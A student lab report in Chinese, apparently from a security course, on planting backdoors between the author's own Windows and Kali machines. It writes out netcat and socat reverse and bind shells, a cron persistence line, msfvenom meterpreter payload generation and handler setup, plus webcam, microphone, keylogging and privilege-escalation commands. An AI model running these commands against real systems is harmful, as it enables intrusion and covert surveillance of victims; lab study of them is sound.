目录
- 基础问题
- 相关知识
- 实验内容
- 实验步骤
- 实验过程中遇到的问题
- 实验总结与体会
实验内容
- 使用netcat获取主机操作Shell,cron启动
- 使用socat获取主机操作Shell,任务计划启动
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
返回目录
基础问题
返回目录
相关知识
ncat
- 是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
- Linux中一般自带
ncat
,可以使用man netcat
或man nc
可查看其使用说明
- Win获得Linux Shell
- windows打开监听:
ncat.exe -l -p 5330
- Linux反弹连接win:
nc 192.168.56.1 5330 -e /bin/sh
(IP为win IP)
- windows下获得一个linux shell,可运行任何指令,如
ls

- Linux获得Win Shell
- Linux运行监听指令:
nc -l -p 5330
- Windows反弹连接Linux:
ncat.exe -e cmd.exe 192.168.107.128 5330
(IP为Linux IP)
- Linux下看到Windows的命令提示

- 传输数据
- Windows下监听端口:
ncat.exe -l -p 5330
- Linux下连接到Windows的端口:
ncat 192.168.56.1 5330
(IP为win IP)
- 建立连接之后,就可以传输数据

socat
-
socat
是ncat
的增强版,它使用的格式是socat [options] <address> <address>
,其中两个address
是必选项,而options
是可选项。
-
socat
的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
Meterpreter
- 具有强大的功能,特别是其socks代理,具体原理参考揭开Meterpreter的神秘面纱
- 有关参数可以参考MSF,里面有介绍一些后门的生成。
- 参考使用MSF生成的shellcode打造免杀payload可以使用
msfvenom -pwindows/meterpreter/reverse_http lhost=192.168.56.1 lport=5330 -f c
(IP为Win IP)生成shellcode,注入到可执行文件,执行时回连攻击主机。

返回目录
实验步骤
使用netcat获取主机操作Shell,cron启动
- 这里将kali作为被攻击目标
- 在Windows下打开命令行,使用
ipconfig
查看Windows的IP地址为192.168.56.1

- Windows中使用
ncat.exe -l 5330
监听5330
端口

- 在Kali中,使用
crontab -e
指令编辑一条定时任务,选择编辑器时选择"3",在底行插入30 * * * * /bin/netcat 192.168.56.1 5330 -e /bin/sh
(意为在每个小时的第30分钟反向连接Windows的5330端口)

-
:wq
保存退出配置即生效,可通过crontab -l
查看
- 在系统时间到第30分钟,就发现获得kali shell

使用socat获取主机操作Shell,任务计划启动
- win10系统中找到左下角的windows标志:
右键
-计算机管理
-任务计划程序
-创建任务

-
常规
中填写任务名称后(我填写了win),触发器
-新建
新建触发器,然后确定

-
操作
-新建
,导入你所下载解压后的socat.exe
的路径,在添加参数
中填入tcp-listen:5330 exec:cmd.exe,pty,stderr
(意为把cmd.exe
绑定到端口5330
,同时把cmd.exe
的stderr
重定向到stdout
上)

- 创建完成之后,按
Windows+L
快捷键锁定计算机,再次打开时,双击任务计划程序库
可以发现之前创建的任务已经开始运行

- 在kali中输入
socat - tcp:192.168.56.1:5330
(-
代表标准的输入输出,第二个流连接到Windows主机的5330端口,IP为windows的IP),接着可以发现已经成功获得一个cmd shell

使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 在kali中输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.246.128 LPORT=5330 -f exe > 20165330_backdoor.exe
(IP为kali的IP)生成后门程序20165330_backdoor.exe
- 在Windows中使用
ncat.exe -lv 5330 > 20165330_backdoor.exe
查看连接状态

- kali中输入
nc 192.168.56.1 5330 < 20165330_backdoor.exe
(此处的IP为Windows的IP)将生成的后门程序传送到Windows主机上
- 传输成功


- 此时kali中新打开一个终端,使用
msfconsole
进入msf控制台

- 输入
use exploit/multi/handler
使用监听模块,设置payload
- 使用和生成后门程序时相同的payload:
set payload windows/meterpreter/reverse_tcp
-
set LHOST 192.168.246.128
此处为kali的IP(和生成后门程序时指定的IP相同)
- 端口号也相同:
set LPORT 5330
- 设置完成后,
exploit
开始监听

- 在Windows中先使用
ctrl+c
退出上条命令,在执行:20165330_backdoor.exe
(注意电脑的防火墙和杀毒软件要关掉),发现kali获得Windows主机的连接,并且得到了远程控制的shell

使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 重复上个内容操作至
exploit
- 可以使用
record_mic
可以截获一段音频

- 使用
webcam_snap
可以使用摄像头进行拍照

- 使用
screenshot
可以进行截屏

- 使用
keyscan_start
指令开始记录下击键的过程,使用keyscan_dump
指令读取击键的记录

- 还可以使用
getuid
查看当前用户,使用getsystem
进行提权
返回目录
实验过程中遇到的问题
实验总结与体会
- 通过本次实验我明白了后门的基本原理,按照老师文档和学长学姐博客的指导一步步完成实验,才了解到后门的"威力",也告诉了我们平时要多注意网上安全,留意恶意程序;在实践中一步步的操作也着实吸引我尝试不同的内容,希望在之后可以尝试出结果、更清晰自己的步骤,有更多收获。